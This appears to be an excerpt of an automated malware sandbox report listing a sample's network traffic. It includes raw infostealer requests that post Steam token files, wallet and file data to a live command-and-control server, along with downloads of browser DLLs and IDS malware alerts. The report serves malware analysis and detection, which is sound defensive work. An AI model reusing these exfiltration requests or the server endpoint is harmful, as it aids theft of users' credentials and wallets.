Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGDHCGCBKFHJKEBKFBFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 32 62 65 38 66 63 39 33 62 38 36 66 62 35 36 36 64 63 30 31 36 31 30 63 36 31 65 61 32 65 32 64 38 30 36 33 64 31 64 32 35 37 62 33 37 33 63 32 35 39 37 37 36 30 32 38 33 39 35 62 32 34 65 66 35 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 2d 2d 0d 0a Data Ascii: ------HDGDHCGCBKFHJKEBKFBFContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------HDGDHCGCBKFHJKEBKFBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDGDHCGCBKFHJKEBKFBFContent-Disposition: form-data; name="file"------HDGDHCGCBKFHJKEBKFBF--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAKJJECAEGCBGDHDHCHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGHCFIDAKJEBGCAFBAEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 43 46 49 44 41 4b 4a 45 42 47 43 41 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 32 62 65 38 66 63 39 33 62 38 36 66 62 35 36 36 64 63 30 31 36 31 30 63 36 31 65 61 32 65 32 64 38 30 36 33 64 31 64 32 35 37 62 33 37 33 63 32 35 39 37 37 36 30 32 38 33 39 35 62 32 34 65 66 35 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 43 46 49 44 41 4b 4a 45 42 47 43 41 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 43 46 49 44 41 4b 4a 45 42 47 43 41 46 42 41 45 2d 2d 0d 0a Data Ascii: ------AEGHCFIDAKJEBGCAFBAEContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------AEGHCFIDAKJEBGCAFBAEContent-Disposition: form-data; name="message"wallets------AEGHCFIDAKJEBGCAFBAE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHIDHJDBFIIECAKECBHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 32 62 65 38 66 63 39 33 62 38 36 66 62 35 36 36 64 63 30 31 36 31 30 63 36 31 65 61 32 65 32 64 38 30 36 33 64 31 64 32 35 37 62 33 37 33 63 32 35 39 37 37 36 30 32 38 33 39 35 62 32 34 65 66 35 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 2d 2d 0d 0a Data Ascii: ------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="message"files------GIEHIDHJDBFIIECAKECB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKECGDBFCBKFIDHIDHDHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 32 62 65 38 66 63 39 33 62 38 36 66 62 35 36 36 64 63 30 31 36 31 30 63 36 31 65 61 32 65 32 64 38 30 36 33 64 31 64 32 35 37 62 33 37 33 63 32 35 39 37 37 36 30 32 38 33 39 35 62 32 34 65 66 35 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 2d 2d 0d 0a Data Ascii: ------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="file"------JKECGDBFCBKFIDHIDHDH--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFCFBKFCFCBGDGIEGHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 32 62 65 38 66 63 39 33 62 38 36 66 62 35 36 36 64 63 30 31 36 31 30 63 36 31 65 61 32 65 32 64 38 30 36 33 64 31 64 32 35 37 62 33 37 33 63 32 35 39 37 37 36 30 32 38 33 39 35 62 32 34 65 66 35 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 2d 2d 0d 0a Data Ascii: ------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="message"ybncbhylepme------CGCFCFBKFCFCBGDGIEGH--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFIEHCFIECBGCBFHIJJHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 61 34 31 39 32 62 65 38 66 63 39 33 62 38 36 66 62 35 36 36 64 63 30 31 36 31 30 63 36 31 65 61 32 65 32 64 38 30 36 33 64 31 64 32 35 37 62 33 37 33 63 32 35 39 37 37 36 30 32 38 33 39 35 62 32 34 65 66 35 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 2d 2d 0d 0a Data Ascii: ------FCFIEHCFIECBGCBFHIJJContent-Disposition: form-data; name="token"f8a4192be8fc93b86fb566dc01610c61ea2e2d8063d1d257b373c259776028395b24ef50------FCFIEHCFIECBGCBFHIJJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FCFIEHCFIECBGCBFHIJJ--

Source: Joe Sandbox View	IP Address: 131.253.33.203 131.253.33.203
Source: Joe Sandbox View	IP Address: 20.125.209.212 20.125.209.212
Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49812 -> 185.215.113.206:80

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49993 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Muc2ry9KOP49z33&MD=+oUpkrAU HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /config/v1/Edge/117.0.2045.47?clientId=6686581979505309747&agents=Edge%2CEdgeConfig%2CEdgeServices%2CEdgeFirstRun%2CEdgeFirstRunConfig%2CEdgeDomainActions&osname=win&client=edge&channel=stable&scpfull=0&scpguard=0&scpfre=0&scpver=0&osarch=x86_64&osver=10.0.19045&wu=1&devicefamily=desktop&uma=0&sessionid=6&mngd=0&installdate=1696426482&edu=0&bphint=2&soobedate=1696426478&fg=1 HTTP/1.1Host: config.edge.skype.comConnection: keep-aliveIf-None-Match: "pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="Accept-Encoding: gzipSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
